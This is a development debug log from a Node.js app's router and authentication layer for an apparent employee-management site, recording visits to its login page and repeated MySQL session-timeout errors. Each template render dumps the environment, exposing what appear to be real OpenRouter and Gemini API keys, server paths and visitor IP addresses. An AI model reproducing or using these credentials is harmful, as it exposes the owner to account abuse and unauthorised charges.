    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    connection: 'keep-alive',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36',
    'sec-ch-ua': 'Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9',
    'sec-fetch-mode': 'navigate',
    'x-forwarded-for': '104.164.173.197',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-09T13:47:44.644Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '104.164.173.197',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': 'Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_X_FORWARDED-FOR': '104.164.173.197',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-02-08T13:47:47.103Z server-connect:router Serving templateView /
2026-02-08T13:47:47.103Z server-connect:app Executing action step identify
2026-02-08T13:47:47.103Z server-connect:app options: { provider: 'security' }
2026-02-08T13:47:47.103Z server-connect:auth No login cookie found
2026-02-08T13:47:47.103Z server-connect:output identity: false
2026-02-08T13:47:47.103Z server-connect:app Executing action step restrict
2026-02-08T13:47:47.103Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-08T13:47:47.103Z server-connect:output restrict: undefined
2026-02-08T13:47:47.501Z server-connect:router Serving templateView /login
2026-02-08T13:47:47.502Z server-connect:app Executing action step identify
2026-02-08T13:47:47.502Z server-connect:app options: { provider: 'security' }
2026-02-08T13:47:47.502Z server-connect:auth No login cookie found
2026-02-08T13:47:47.502Z server-connect:output identity: false
2026-02-08T13:47:47.502Z server-connect:router Render template layouts/authentication
2026-02-08T13:47:47.502Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    connection: 'keep-alive',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36',
    'sec-ch-ua': 'Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9',
    'sec-fetch-mode': 'navigate',
    'x-forwarded-for': '104.164.173.197',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-09T13:47:47.501Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '104.164.173.197',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': 'Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_X_FORWARDED-FOR': '104.164.173.197',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-02-08T15:14:49.041Z server-connect:router Serving templateView /
2026-02-08T15:14:49.042Z server-connect:app Executing action step identify
2026-02-08T15:14:49.042Z server-connect:app options: { provider: 'security' }
2026-02-08T15:14:49.042Z server-connect:auth No login cookie found
2026-02-08T15:14:49.042Z server-connect:output identity: false
2026-02-08T15:14:49.042Z server-connect:app Executing action step restrict
2026-02-08T15:14:49.042Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-08T15:14:49.043Z server-connect:output restrict: undefined
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-08 17:43:42' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-08 17:43:42' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-08 20:38:42' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-08 20:38:42' as DATETIME)"
}
2026-02-08T22:18:53.311Z server-connect:router Serving templateView /
2026-02-08T22:18:53.312Z server-connect:app Executing action step identify
2026-02-08T22:18:53.312Z server-connect:app options: { provider: 'security' }
2026-02-08T22:18:53.312Z server-connect:auth No login cookie found
2026-02-08T22:18:53.312Z server-connect:output identity: false
2026-02-08T22:18:53.312Z server-connect:app Executing action step restrict
2026-02-08T22:18:53.312Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-08T22:18:53.313Z server-connect:output restrict: undefined
2026-02-08T22:18:55.563Z server-connect:router Serving templateView /login
2026-02-08T22:18:55.564Z server-connect:app Executing action step identify
2026-02-08T22:18:55.564Z server-connect:app options: { provider: 'security' }
2026-02-08T22:18:55.564Z server-connect:auth No login cookie found
2026-02-08T22:18:55.564Z server-connect:output identity: false
2026-02-08T22:18:55.564Z server-connect:router Render template layouts/authentication
2026-02-08T22:18:55.564Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '167.94.146.50',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-09T22:18:55.563Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '167.94.146.50',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '167.94.146.50',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-09 02:01:42' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-09 02:01:42' as DATETIME)"
}
2026-02-09T03:58:46.560Z server-connect:router Serving templateView /
2026-02-09T03:58:46.561Z server-connect:app Executing action step identify
2026-02-09T03:58:46.561Z server-connect:app options: { provider: 'security' }
2026-02-09T03:58:46.561Z server-connect:auth No login cookie found
2026-02-09T03:58:46.561Z server-connect:output identity: false
2026-02-09T03:58:46.561Z server-connect:app Executing action step restrict
2026-02-09T03:58:46.562Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-09T03:58:46.562Z server-connect:output restrict: undefined
2026-02-09T03:58:46.699Z server-connect:router Serving templateView /login
2026-02-09T03:58:46.699Z server-connect:app Executing action step identify
2026-02-09T03:58:46.700Z server-connect:app options: { provider: 'security' }
2026-02-09T03:58:46.700Z server-connect:auth No login cookie found
2026-02-09T03:58:46.700Z server-connect:output identity: false
2026-02-09T03:58:46.700Z server-connect:router Render template layouts/authentication
2026-02-09T03:58:46.700Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3',
    accept: '*/*',
    'accept-encoding': 'gzip,br',
    'x-forwarded-for': '146.70.185.32',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-10T03:58:46.699Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '146.70.185.32',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'HEAD',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    'HTTP_X_FORWARDED-FOR': '146.70.185.32',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-02-09T03:58:47.974Z server-connect:router Serving templateView /
2026-02-09T03:58:47.974Z server-connect:app Executing action step identify
2026-02-09T03:58:47.974Z server-connect:app options: { provider: 'security' }
2026-02-09T03:58:47.974Z server-connect:auth No login cookie found
2026-02-09T03:58:47.974Z server-connect:output identity: false
2026-02-09T03:58:47.974Z server-connect:app Executing action step restrict
2026-02-09T03:58:47.974Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-09T03:58:47.974Z server-connect:output restrict: undefined
2026-02-09T03:58:48.119Z server-connect:router Serving templateView /login
2026-02-09T03:58:48.119Z server-connect:app Executing action step identify
2026-02-09T03:58:48.119Z server-connect:app options: { provider: 'security' }
2026-02-09T03:58:48.119Z server-connect:auth No login cookie found
2026-02-09T03:58:48.119Z server-connect:output identity: false
2026-02-09T03:58:48.119Z server-connect:router Render template layouts/authentication
2026-02-09T03:58:48.120Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3',
    accept: '*/*',
    'accept-encoding': 'gzip,br',
    'x-forwarded-for': '146.70.185.32',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-10T03:58:48.119Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '146.70.185.32',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'HEAD',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    'HTTP_X_FORWARDED-FOR': '146.70.185.32',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-02-09T06:50:44.224Z server-connect:router Serving templateView /
2026-02-09T06:50:44.225Z server-connect:app Executing action step identify
2026-02-09T06:50:44.225Z server-connect:app options: { provider: 'security' }
2026-02-09T06:50:44.225Z server-connect:auth No login cookie found
2026-02-09T06:50:44.225Z server-connect:output identity: false
2026-02-09T06:50:44.225Z server-connect:app Executing action step restrict
2026-02-09T06:50:44.226Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-09T06:50:44.226Z server-connect:output restrict: undefined
2026-02-09T06:50:44.327Z server-connect:router Serving templateView /login
2026-02-09T06:50:44.327Z server-connect:app Executing action step identify
2026-02-09T06:50:44.327Z server-connect:app options: { provider: 'security' }
2026-02-09T06:50:44.327Z server-connect:auth No login cookie found
2026-02-09T06:50:44.327Z server-connect:output identity: false
2026-02-09T06:50:44.327Z server-connect:router Render template layouts/authentication
2026-02-09T06:50:44.328Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux i686; rv:124.0) Gecko/20100101 Firefox/124.0',
    referer: 'https://www.ems.sanjaychaurasia.xyz',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '54.162.53.4',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-10T06:50:44.327Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '54.162.53.4',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
